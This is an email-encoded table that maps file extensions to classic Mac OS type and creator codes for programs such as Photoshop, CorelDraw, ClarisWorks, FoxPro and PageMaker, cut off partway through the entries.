=2Ebmp<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>BMPp<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>8BIM # PhotoShop<br>
=2EBMP<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>BMPp<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>8BIM # PhotoShop<br>
# .bmp<x-tab>&nbsp; </x-tab>BMPp<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>JVWR<br>
=2Epct<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>PICT<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>ttxt<br>
=2Epict<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>PICT<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>ttxt<br>
=2Ejpeg<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>JPEG<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>JVWR<br>
=2Ejpg<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>JPEG<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>DAD5 # Canvas 5<br>
=2EJPG<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>JPEG<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>DAD5 # Canvas 5<br>
=2Egif<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>GIFf<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>MSIE # Microsoft Internet Explorer<br>
=2EGIF<x-tab>&nbsp; </x-tab>GIFf<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>MSIE #
Microsoft Internet Explorer<br>
<br>
# Corel<br>
=2Ecdr<x-tab>&nbsp;&nbsp; </x-tab>CDR8<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>Cdrw<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Draw file<br>
=2Ecd4<x-tab> </x-tab>CDR4<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>Cdrw<br>
=2Ecd5<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>CDR5<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>Cdrw<br>
=2Ecd6<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>CDR6<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>Cdrw<br>
=2Ecdt<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>CDT8<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>Cdrw<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># Template<br>
=2Ecpt<x-tab>&nbsp; </x-tab>CPT5<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>Cdrw<br>
=2Ect4<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>CDT4<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>Cdrw<br>
=2Ect5<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>CDT5<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>Cdrw<br>
=2Ect6<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>CDT6<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>Cdrw<br>
<br>
# MS-Word<br>
=2Edoc<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>V6BN<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>MSWD<br>
=2Edot<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>WTBN<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>MSWD<br>
<br>
# MS-Excel<br>
=2Ewrd<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>TEXT<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>MSWD<br>
=2Ewrt<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>TEXT<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>MACA<br>
=2Exlc<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>XLC3<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>XCEL<br>
=2Exls<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>XLS5<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>XCEL</div>
<div>.xlt<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>TEXT<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>XCEL</div>
<div><br></div>
<div># Other locals</div>
<div>.PPD<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>TEXT<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>ttxt</div>
<div>#</div>
<div
>#-------------------------------------------------------------------<span
></span>----------</div>
<div
>#-------------------------------------------------------------------<span
></span>----------<br>
#<br>
=2Eaep<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>FXTC<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>EggP<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># After Effects
Project<br>
=2Eai<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>TEXT<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>ART5<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># Illustrator 5.x<br>
=2Eaif<x-tab>&nbsp;&nbsp; </x-tab>AIFF<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>SNDM<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># AIF Sound File
(SoundMachine)<br>
=2Eal<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>ALAW<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>SNDM<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># Sun Audio File (SoundMachine)<br>
=2Eap1<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>PRS2<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>PLP2<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Persuasion 2
Presentation<br>
=2Eapi<x-tab> </x-tab>PRIF<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>PLP2<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Persuasion 2.1
=46ile<br>
=2Eapn<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>AROW<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>DAD5<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># Canvas(tm) 5 Arrows<br>
=2Eapt<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>PRT2<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>PLP2<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># Persuasion 2 Slide<br>
=2Earc<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>mArc<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>SIT!<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># ARC Archive (Stuffit)<br>
=2Easd<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>DCDC<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>GDSP<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Astound document<br>
=2East<x-tab>&nbsp; </x-tab>DCMS<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>GDSP<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Asotund Template<br>
=2Eau<x-tab>&nbsp;&nbsp; </x-tab>ULAW<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>SNDM<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Sun Audio File
(SoundMachine)<br>
=2Eavi<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>BINA<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>AVIC<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># AVI to QT
Utility</div>
<div>.bin<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>BINA<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>SIT!<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># MacBinary Encoded File
(Stuffit)<br>
=2Ecdd<x-tab>&nbsp; </x-tab>CDrw<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>dDrw<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Claris Draw<br>
=2Ecgm<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>CGM<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>Mprn<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Corel ARTISAN-CGM<br>
=2Ecid<x-tab> </x-tab>CIPT<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>iDrw<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># ClarisImpact 2.0
Draw<br>
=2Ecit<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>CIPT<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>iPrs<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># ClarisImpact 2.0
Template<br>
=2Ecmx<x-tab> </x-tab>CMX6<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>Cdrw<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Corel Graphics-CMX<br>
=2Ecom<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>BINA<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>mdos<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># DOS Binary File<br>
=2Ecpt<x-tab>&nbsp;&nbsp; </x-tab>PACT<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>SIT!<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Compact Pro Archive
(Stuffit)<br>
=2Ecsv<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>TEXT<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>XCEL<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Excel CSV Format<br>
=2Ect<x-tab>&nbsp;&nbsp; </x-tab>..CT<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>GKON<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Scitex Image
(GraphicConverter)<br>
=2Ecv5<x-tab>&nbsp;&nbsp; </x-tab>drw5<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>DAD5<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Canvas(tm) 5
document<br>
=2Ecvs<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>drw2<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>DAD2<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Canvas Drawing<br>
=2Ecwd<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>CWDB<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>BOBO<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># ClarisWorks
Database<br>
=2Ecwg<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>CWGR<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>BOBO<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># ClarisWorks Objects<br>
=2Ecwk<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>CWWP<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>BOBO<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># ClarisWorks<br>
=2Ecws<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>CWSS<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>BOBO<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># ClarisWorks Spreadsheet<br>
=2Edat<x-tab>&nbsp;&nbsp; </x-tab>DAT<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>Cdrw<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># CorelDraw 6-DAT<br>
=2Edbf<x-tab>&nbsp;&nbsp; </x-tab>F+DB<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>FOXX<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># FoxPro Database<br>
=2Edcr<x-tab>&nbsp;&nbsp; </x-tab>M!95<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>MV95<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Director 5
Document<br>
=2Edcx<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>DCXx<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>GKON<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># DCX Graphic (GraphicConverter)<br>
=2Edic<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>CONF<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>DAD5<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Canvas(tm) 5 User
Dictionary<br>
=2Edim<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>AD3D<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>AD3E<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># Dimensions(tm)-Document<br>
=2Edir<x-tab>&nbsp;&nbsp; </x-tab>MD95<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>MV95<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Director 5 Movie<br>
=2Edl<x-tab>&nbsp;&nbsp; </x-tab>TEXT<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>BGDL<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># DL Animation
(DLViewer)<br>
=2Edoc<x-tab>&nbsp;&nbsp; </x-tab>W6BN<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>MSWD<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Word 6 Document<br>
=2Edot<x-tab>&nbsp;&nbsp; </x-tab>sDBN<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>MSWD<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Word Stationary
=46ile<br>
=2Edot<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>WTBN<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>MSWD<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># Word Template File<br>
=2Edpn<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>DASH<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>DAD5<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># Canvas(tm) 5 Dashes<br>
=2Edxf<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>TEXT<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>SWVL<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># DXF Drawing (Simple Body)<br>
=2Eend<x-tab> </x-tab>END<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>Cdrw<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># CorelDraw 6-END<br>
=2Eenv<x-tab>&nbsp;&nbsp; </x-tab>ENV<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>Cdrw<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># CorelDraw 6-ENV<br>
=2Eeps<x-tab>&nbsp;&nbsp; </x-tab>EPSP<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>ART5<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># EPS (Illustrator
5.x)<br>
=2Eevy<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>EVYD<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>ENVY<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># WPMac News
9/96.evy<br>
=2Efh3<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>FHD3<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>FHA3<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># FreeHand 3.x Document<br>
=2Efh4<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>AGD1<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>FH40<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># FreeHand 4.x
Document<br>
=2Efh5<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>AGD1<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>FH50<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># FreeHand 5.x
Document<br>
=2Efh7<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>AGD1<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>FH70<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># FreeHand 7.0<br>
=2Efm<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>FMPR<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>FMPR<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># FileMaker Pro 2.x<br>
=2Efm4<x-tab> </x-tab>FASL<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>Fram<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># FrameMaker 4<br>
=2Efp3<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>FMP3<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>FMP3<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># FileMaker Pro 3.0<br>
=2Efrx<x-tab> </x-tab>FAPP<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>FOXX<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># FoxPro Application
=46ile<br>
=2Eft2<x-tab>&nbsp;&nbsp; </x-tab>FSch<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>FSCH<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># FastTrack 2.1<br>
=2Eft3<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>sHD3<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>FHA3<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Freehand
3.1-Stationary Document<br>
=2Eft4<x-tab>&nbsp; </x-tab>FTs4<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>FTS4<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># FastTrack 4<br>
=2Eft5<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>sGD1<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>FH50<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># FreeHand 5.0-Stationary Document<br>
=2Efxp<x-tab>&nbsp; </x-tab>FFXP<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>FOXX<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># FoxPro Format File<br>
=2Egem<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>GEM<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>Cdrw<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># CorelDraw 6-GEM
Graphic<br>
=2Egl<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>TEXT<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>AnVw<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># GL Animation (MacAnim
Viewer)<br>
=2Egrd<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>ObFl<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>DAD5<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Canvas(tm) 5
Gradients<br>
=2Egz<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>Gzip<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>Gzip<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># GZip Compressed File
(MacGzip)<br>
=2Ehqx<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>TEXT<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>BNHQ<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># StuffIt Archive
(BinHex)<br>
=2Ehtc<x-tab>&nbsp; </x-tab>htch<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>DAD5<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Canvas(tm) 5
Hatches<br>
=2Eiff<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>ILBM<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>8BIM<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># IFF Image (Photoshop)<br>
=2Elbx<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>F+LB<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>FOXX<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># FoxPro Index File<br>
=2Elzh<x-tab> </x-tab>TEXT<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>LARC<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># LHA Archive
(MacLHA)<br>
=2Emac<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>PICT<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>dPro<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># PICT File (MacDraw Pro)<br>
=2Emdp<x-tab>&nbsp;&nbsp; </x-tab>dPRO<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>dDOC<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># MacDraw Pro<br>
=2Emid<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>Midi<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>MOUP<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># Midi Music File (Mark of Unicorn)<br>
=2Emif<x-tab> </x-tab>TEXT<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>Fram<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># MIF (FrameMaker)<br>
=2Emii<x-tab>&nbsp; </x-tab>MW2D<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>MMII<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># MacWrite<br>
=2Emnx<x-tab>&nbsp; </x-tab>FMNX<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>FOXX<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># FoxPro Menu Table<br>
=2Emod<x-tab> </x-tab>STrk<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>SCPL<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># MOD Sound File
(SoundApp)<br>
=2Emov<x-tab> </x-tab>MooV<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>ttxt<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Quicktime Video
(SimpleText)<br>
=2Empg<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>MPEG<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>mMPG<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># MPEG Video File (Sparkle)<br>
=2Emw<x-tab>&nbsp; </x-tab>WORD<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>MWII<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># MacWrite II
Document<br>
=2Ep65<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>AB65<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>AD65<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># PageMaker 6.5 Publication<br>
=2Epal<x-tab> </x-tab>COLR<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>DAD5<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Canvas(tm) 5
Colors<br>
=2Epcx<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>PCX<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>8BIM<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># PhotoShop PCX
Image<br>
=2Epdf<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>PDF<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>CARO<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Adobe Acrobat PDF<br>
=2Epfb<x-tab> </x-tab>LWFN<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>FONT<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># PostScript Type 1
=46ont<br>
=2Epic<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>PICT<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>8BIM<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># PICT Image
(Photoshop)<br>
=2Epit<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>TEXT<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>UPIT<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Packit Archive<br>
=2Epjx<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>FPJX<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>FOXX<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># FoxPro Project Table
=46ile<br>
=2Epm3<x-tab> </x-tab>ALB3<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>ALD3<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># PageMaker 3.X
Publication<br>
=2Epm4<x-tab> </x-tab>ALB4<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>ALD4<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># PageMaker 4.X
Publication<br>
=2Epm5<x-tab> </x-tab>ALB5<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>ALD5<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># PageMaker 5.X
Publication<br>
=2Epm6<x-tab> </x-tab>ALB6<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>ALD6<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># PageMaker 6.X
Publication<br>
=2Epng<x-tab> </x-tab>PNGf<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>8BIM<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># PNG Image
(Photoshop)<br>
=2Epot<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>PPOT<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>PPT3<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># PowerPoint 98
Presentation Template<br>
=2Eppd<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>TEXT<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>ALD4<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># PageMaker 4 Text Document<br>
=2Eppj<x-tab> </x-tab>PROJ<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>PrMr<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Adobe Premier 4.0<br>
=2Eppn<x-tab> </x-tab>plin<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>DAD5<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Canvas(tm) 5 Parallel
Lines<br>
=2Epps<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>PPSS<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>PPT3<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># PowerPoint 98 Show<br>
=2Eppt<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>SLD3<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>PPT3<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab># Power Point 3 Document<br>
=2Epr3<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>PRS3<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>PLP3<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Persuasion 3.0<br>
=2Eprs<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>PRS1<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>PLP1<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># Aldus Persuasion<br>
=2Eps<x-tab>&nbsp;&nbsp; </x-tab>TEXT<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>vgrd<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># PostScript (Photoshop
5)<br>
=2Epsd<x-tab>&nbsp; </x-tab>8BPS<x-tab>&nbsp;&nbsp;&nbsp;
</x-tab>8BIM<x-tab>&nbsp;&nbsp;&nbsp; </x-tab># PhotoShop Image<br>
